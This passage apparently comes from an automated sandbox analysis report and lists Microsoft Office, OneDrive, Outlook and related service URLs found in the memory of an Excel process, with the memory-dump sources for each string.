Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://augloop.office.com
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://augloop.office.com/v2
Source: EXCEL.EXE, 00000000.00000003.792419093.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.980076150.000000000D342000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829142024.0000000012A3F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: EXCEL.EXE, 00000000.00000003.712956120.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844792206.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.980144579.000000000D3B2000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656130823.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885932857.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.830927828.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843000292.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728531297.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792438393.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829149171.0000000012A43000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843806955.0000000012A43000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://cdn.entity.
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: EXCEL.EXE, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell92
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://client-office365-tas.msedge.net/abG
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://clients.config.office.net/
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://clients.config.office.net/Aj
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728506712.0000000012A23000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712940774.0000000012A23000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://config.edge.skype.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656113776.0000000012A2F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://cortana.ai
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://cortana.ai/api
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://cortana.ai8BO
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp String found in binary or memory: https://cortana.aietl
Source: EXCEL.EXE, 00000000.00000002.981660434.00000000128EC000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://cr.office.com
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://dataservice.o365filtering.com
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.com-
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://dataservice.o365filtering.com/
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.com0
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.comL
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.como
Source: EXCEL.EXE, 00000000.00000003.793618295.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.983087003.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712879748.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829418117.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656628398.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656351253.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844070824.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843276855.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728748048.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.792166037.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.845405435.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.885769597.0000000012BE4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.729296626.0000000012BE4000.00000004.00000001.sdmp String found in binary or memory: https://dataservice.o365filtering.comr
Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.656171574.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.656420136.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.887182746.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.829507142.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.975433720.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843028954.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.712989878.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.843831700.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.844821689.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.728814839.0000000012A88000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.791886378.0000000012A88000.00000004.00000001.sdmp, 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 630E636C-6B0C-44EA-BF33-295CC8DCC16C.0.dr String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
